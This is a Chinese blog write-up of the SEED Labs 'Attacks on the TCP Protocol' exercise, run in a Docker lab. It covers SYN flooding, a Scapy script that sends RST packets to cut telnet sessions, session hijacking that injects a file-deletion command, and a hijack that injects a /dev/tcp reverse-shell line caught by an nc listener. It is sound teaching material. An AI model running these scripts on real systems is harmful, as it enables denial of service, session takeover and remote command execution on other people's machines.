首页 > 其他分享 >Seed Lab实验:Attacks on the TCP Protocol

Seed Lab实验:Attacks on the TCP Protocol

时间:2024-12-03 13:21:26浏览次数:3  
标签:precise Protocol pkt Attacks apt echo etc TCP ubuntu

一、docker使用

docker换源:

vim /etc/docker/daemon.json
{
  "registry-mirrors": ["https://docker.1panel.live"]
}

docker创建:

docker-compose build

docker开启:

docker-compose up

ctrl+shift+T 新建一个终端

查询docker状态:

dockps

切换docker中的主机,例如:

docker exec -it victim-10.9.0.5 bash

二、实验

Task1. SYN泛洪攻击

查看victim

sysctl net.ipv4.tcp_max_syn_backlog 

netstat -tna

关闭SYNcookie

sysctl -w net.ipv4.tcp_syncookies=0

在seed(攻击机)上,编译synflood.c

gcc synflood.c -o synflood

切换到攻击机

docker exec -it victim-10.9.0.5 bash

攻击机目录下volumes与seed机是共享的

使用攻击机对victim进行攻击

synflood 10.9.0.5 23

在victim上查看网络状态,发现出现了大量不明ip

稍等一小段时间后

在user1机上尝试telnet连接victim

docker exec -it user1-10.9.0.6 bash
telnet 10.9.0.5

发现无法连接

wireshark分析数据包:

启用syncookie,再次发动攻击

sysctl -w net.ipv4.tcp_syncookies=1

发现

发现虽然还在持续收到syn包

但user1可以telnet连接到victim

Task2. 对Telnet的复位攻击

利用seed-attacker作为攻击机,user1作为客户端,victim作为服务端

客户端telnet到服务端

docker exec -it user1-10.9.0.6 bash
telnet 10.9.0.5

在主机中编写好RSTattack.py(自动攻击),通过volumes共享到攻击机

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
	tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
	pkt = ip/tcp
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf', filter=f, prn=spoof_pkt)

发现攻击机中没有python,但有apt

但是apt没有源,机器也没有vi,vim等文本编辑器

使用古老方法:

echo "deb http://mirrors.163.com/ubuntu/ precise main restricted" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise main restricted" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-updates main restricted" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-updates main restricted" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise universe" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise universe" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-updates universe" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-updates universe" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise multiverse" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise multiverse" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-updates multiverse" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-updates multiverse" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-backports main restricted universe multiverse" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-backports main restricted universe multiverse" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-security main restricted" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-security main restricted" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-security universe" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-security universe" >>/etc/apt/sources.list
echo "deb http://mirrors.163.com/ubuntu/ precise-security multiverse" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/ubuntu/ precise-security multiverse" >>/etc/apt/sources.list
echo "deb http://extras.ubuntu.com/ubuntu precise main" >>/etc/apt/sources.list
echo "deb-src http://extras.ubuntu.com/ubuntu precise main" >>/etc/apt/sources.list

不用全搞,实测搞几个就可以了

更新apt-get源

apt-get update
apt-get install python3-pip

在攻击机中运行文件RSTattack.py

python3 RSTattack.py

在telnet连接的时候,随便输入一个字符(即发送任意的数据包),就能被攻击者篡改其中的标志位,从而断开连接。

Task3. TCP的会话劫持攻击

将victim作为服务器,user1作为客户端,seed-attacker作为攻击机。

在victim中新建new.txt

touch new.txt
echo "helloworld!" >>new.txt

在客户机上telnet服务器,查看刚才创建的文件“new.txt”

在攻击机上用Python代码发起会话劫持攻击,删除服务器上的“new.txt”

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
	tcp = TCP(sport=pkt[TCP].dport, dport=23,
              flags="A",
              seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
	data = "rm -rf new.txt"
	pkt = ip/tcp/data
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-51a3ed64a0eb', filter=f, prn=spoof_pkt)

在客户机上使用刚才连接的telnet,看看有什么情况,并请说明原因。

在服务器上发现文件删除成功,并且客户端的光标被锁死,无法输入命令。原因是客户端的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,也无法退出。

Task4. 通过TCP的会话劫持攻击创建“Reverse Shell”

编写python程序

#!/usr/bin/env python3

from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
	tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
	data = "/bin/bash -i > /dev/tcp/10.9.0.1/1234 0<&1 2>&1\n\0"
	pkt = ip/tcp/data
	send(pkt, verbose=0)
    
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-51a3ed64a0eb', filter=f, prn=spoof_pkt)

在attacker上开启监听

nc -lnv 1234

user1上telnet到victim

再开一个attacher的bash,运行hijackingreverse.py

在user1的telnet连接中打一个空格

成功监听,拿到shell

可以在攻击机上远程在victim上执行命令

标签:precise,Protocol,pkt,Attacks,apt,echo,etc,TCP,ubuntu
From: https://www.cnblogs.com/hjdssj/p/18583871

相关文章

  • Chrome浏览器允许的一次性最大TCP并发链接
    Chrome浏览器允许的单次最大TCP并发连接数通常是6个到同一个域名。这指的是从浏览器的一个标签页或渲染进程到特定服务器的连接数。需要注意以下几点:每个域名限制:这个限制是每个域名的,而不是每个标签页或浏览器的全局限制。这意味着你可以同时与多个不同域名建立超过......
  • Wireshark网络协议抓包解析(二)分析TCP HTTP协议
    实验分析前准备通过curl-I baidu.com 分析TCP HTTP协议在http捕捉中找到目的ipip.addr==110.242.68.66(换成对应目的ip)过滤以下是对每个步骤的详细解释:TCP三次握手建立连接:数据包25:源IP 192.168.76.18 向目标IP 110.242.68.66 发送一个TCPSYN包,请求建......
  • 请描述处TCP的三次握手和四次挥手
    TCP的三次握手和四次挥手是前端面试中经常被问到的网络基础知识。它们保证了可靠的连接建立和断开。下面我分别描述一下这两个过程:三次握手(Three-wayhandshake)三次握手的目的是同步连接双方的序列号和确认号,并交换TCP窗口大小信息。SYN(Synchronize):客户端发送一个S......
  • TCP/IP网络协议栈
    TCP/IP网络协议栈是一个分层的网络模型,用于在互联网和其他网络中传输数据。它由几个关键的协议层组成,每一层负责特定的功能。以下是对TCP/IP协议栈的简要介绍:TCP/IP协议模型的分层1.应用层(ApplicationLayer):这是用户与网络交互的地方。常见的协议包括HTTP(用于网页浏览)、......
  • 你知道TCP和UTP的区别是什么吗?说说你对它们的理解
    TCP和UDP都是用于网络通信的传输层协议,但在可靠性、连接方式和数据传输方式等方面存在显著差异。这些差异对前端开发选择使用哪种协议至关重要,尤其是在处理实时应用、游戏和数据流等场景。TCP(TransmissionControlProtocol-传输控制协议)面向连接:TCP是面向连接的协......
  • 【河北建筑工程学院毕业论文】基于TCP/IP协议网络流量监控系统开发
    注:仅展示部分文档内容和系统截图,需要完整的视频、代码、文章和安装调试环境请私信up主。摘  要因特网的兴起,彻底改变了人们对信息的管理方式,早在90年代因特网刚刚兴起之时,人们就开始思考如何通过因特网来进行系统化的管理。然而,网络信誉度的认证困难,网络法规和政策的不完善......
  • 《熬夜整理》保姆级系列教程-玩转Wireshark抓包神器教程(7)-Wireshark的TCP包详解-上
    1.简介上一篇中通过宏哥的介绍和讲解,小伙伴或者童鞋们应该知道宏哥今天要讲解和介绍的内容在哪里了吧,没错就是介绍那个OSI七层模型的传输层。因为只有它建立主机端到端的连接如:TCP、UDP。2.TCP是什么?tcp是工作在传输层,也就是网络层上一层的协议。它是面向连接的,可靠的,基于字......
  • TCP粘包半包问题
    TCP粘包和半包的问题分析TCP粘包原因:1、发送方每次写入数据<套接字缓冲区大小;tcp相关算法整合碎片化数据包2、接收方读取(接收)套接字缓冲区数据不够及时半包原因:1、发送方写入数据>套接字缓冲区大小2、发送的最大报文长度大于MSS,网络包大于协议的MTU(最大传输单元,1500......
  • tcp是如何保证可靠连接的
    TCP(TransmissionControlProtocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。它通过以下几种机制来保证可靠的连接:三次握手(Three-wayHandshake):建立连接时,TCP使用三次握手来同步连接双方的序列号和确认号,确保双方的接收和发送通道都已准备好。序列......
  • anthropic开源模型上下文协议 Model Context Protocol
    我们正在开源模型上下文协议(MCP),这是一个将人工智能助手与数据所在系统(包括内容库、业务工具和开发环境)连接起来的新标准。其目的是帮助前沿模型产生更好、更相关的响应。随着人工智能助手逐渐成为主流应用,业界对模型功能进行了大量投资,在推理和质量方面取得了飞速的进步......